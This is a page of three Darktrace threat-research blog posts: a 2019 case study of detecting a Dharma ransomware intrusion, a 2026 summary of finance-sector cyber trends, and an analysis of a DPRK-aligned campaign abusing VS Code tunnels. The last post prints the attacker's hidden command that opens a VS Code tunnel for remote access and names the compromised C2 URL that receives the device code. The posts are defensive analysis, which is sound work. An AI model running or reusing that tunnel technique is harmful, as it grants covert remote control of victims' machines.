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November 17, 2019

An Education In Detecting Ransomware Without Any Signatures

Learn how to detect ransomware without any malware signatures. See how Darktrace is one of the leading fighters against ransomware and other cyber risks.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO
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17
Nov 2019

Across Darktrace’s global customer base, ransomware is rapidly on the rise. And unlike the indiscriminate ransomware worms — like WannaCry and BadRabbit — that we’ve discussed in the past, the trend of today’s attacks is toward selective “big game hunting.” The Ryuk ransomware incident I blogged about last month demonstrates how criminals now seek to exploit the particular vulnerabilities of their strategic targets.

Despite the increasing sophistication of these attacks, however, detecting them is ultimately just a classification problem — albeit a highly complex and consequential one. To understand what makes this problem difficult, consider three ways of identifying ransomware. The first and most common way is to cross-reference new activity with the digital ‘signatures’ of known malware strains, catching attacks that the security community has already catalogued. Of course, such fixed signatures are blind to the novel malware variants that dominate the modern threat landscape.

The second level uses supervised machine learning, which entails training an AI on lots of historical examples of ransomware attacks in an attempt to find their commonalities. While this approach can, in theory, detect ransomware that isn’t identical to training data, the supervised learning approach is essentially just signatures on steroids, failing to flag malicious behavior that is fundamentally unlike anything seen before. Rather, addressing the ransomware epidemic once and for all requires unsupervised machine learning. By understanding how each particular employee and device functions while ‘on the job’ — without any signatures or training data — Cyber AI does just that.

An education in ransomware

When a world-leading education institution was hit with a strain of the Dharma ransomware family this past October, Darktrace Cyber AI immediately alerted on the attack using this learnt knowledge of the institution itself — rather than with signatures. The following timeline details each phase of the incident:

Figure 1: An overview of the attack.

In summary, the threat-actors brute-forced their way into the institution’s network by exploiting a server that lacked protection against such RDP brute-forcing — compromising an admin’s credentials. They then proceeded to scan the network until they located an open port 445, whereupon they moved laterally using the PsExec tool that allows for remote administration. The initially compromised server copied the ransomware, named “system.exe,” to hidden SMB shares on the other machines via the SMB protocol. Finally, that ransomware began encrypting data on all of these devices.

Cyber AI traced every step of the above attack by contrasting it with the institution’s normal online behavior. The graph below shows the infected server’s activity throughout the entire incident.

Figure 2: Every colored dot represents a high-confidence Darktrace alert indicating significantly anomalous activity.

Beyond just detecting the attack, however, Darktrace’s AI Autonomous Response tool, Antigena, would have taken targeted action to neutralize it within seconds. When hit with machine-speed threats like ransomware, human security teams need such AI tools to contain the damage, as Antigena would have done:

An alternate reality with Autonomous Response

The attack would have gone quite differently had it been met with Autonomous Response. To start with, Antigena would have blocked the threat-actor’s repeated login attempts over RDP, since these attempts originated from external IP addresses that had never communicated with the organization before. Antigena works by enforcing the normal ‘pattern of life’ for each impacted user and device, meaning that it would not have blocked IP addresses that regularly communicate with the RDP server. This ensures that activity necessary to daily operations isn’t interrupted during even serious threats.

Figure 3: Darktrace alerts on one of the multiple unusual IP addresses that attempted brute-forcing.

By this point, the threat would already have been neutralized by the blocked brute-forcing. But had the attackers somehow still managed to scan the network for open SMB services, Antigena would have intervened once again to surgically restrict that behavior, as Darktrace recognized that the infected server almost never scanned the internal network.

Figure 4: Darktrace alerts on the anomalous scanning behavior, which Antigena would have autonomously blocked.

Continuing on with the hypothetical, though, the server now employs PsExec to move laterally to other devices — activity that Darktrace identified as anomalous immediately. Antigena would have escalated its response at this point, stopping all outbound connections from the server for several hours. Ultimately, Autonomous Response would have completely disarmed the threat, as it has successfully demonstrated on millions of occasions already.

Uncovering the Unpredictable

It has never been easier for threat-actors to devise novel ransomware strains and to gain access to new command & control domains. Using fixed signatures, IP blacklists, and predefined assumptions is therefore insufficient, since no security tool can predict the next fundamentally unpredictable attack. Only Cyber AI — which learns what’s normal for each unique user and device it defends — is equipped for such a challenge.

Of course, detection alone won’t cut it. Modern ransomware is increasingly automated; in this particular case, the entire incident took less than two hours, from the initial brute-forcing to the concluding encryption. And although Darktrace alerted on the threat in real time, the security team was occupied with other tasks, leading to a compromise. That’s where Autonomous Response has become business-critical across every industry — it’s on guard 24/7, even when the security team can’t be.

To learn more about how Autonomous Response neutralizes ransomware without relying on signatures, check out our white paper: The Evolution of Autonomous Response: Fighting Back in a New Era of Cyber-Threat.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO

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January 28, 2026

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

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The evolving cybersecurity threat landscape in finance

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state-sponsored threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector, draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.  

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.  

2. Data Loss Prevention is an increasing challenge

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.  

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.  

3. Ransomware is evolving toward data theft and extortion

Ransomware is no longer just about locking systems, it’s about stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.  

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

4. Attackers are exploiting edge devices, often pre-disclosure.  

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.  

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

5. DPRK-linked activity is growing across crypto and fintech.  

State-sponsored activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.  

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.  

7. Cloud complexity and AI governance gaps are now systemic risks.  

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.  

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

Building cyber resilience in a shifting threat landscape

The financial sector remains a prime target for both financially motivated and state-sponsored adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.  

Learn more about the threats facing the finance sector, and what your organization can do to keep up in The State of Cybersecurity in the Finance Sector report here.  

Acknowledgements:

The State of Cybersecurity in the Finance sector report was authored by Calum Hall, Hugh Turnbull, Parvatha Ananthakannan, Tiana Kelly, and Vivek Rajan, with contributions from Emma Foulger, Nicole Wong, Ryan Traill, Tara Gould, and the Darktrace Threat Research and Incident Management teams.

[related-resource]  

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Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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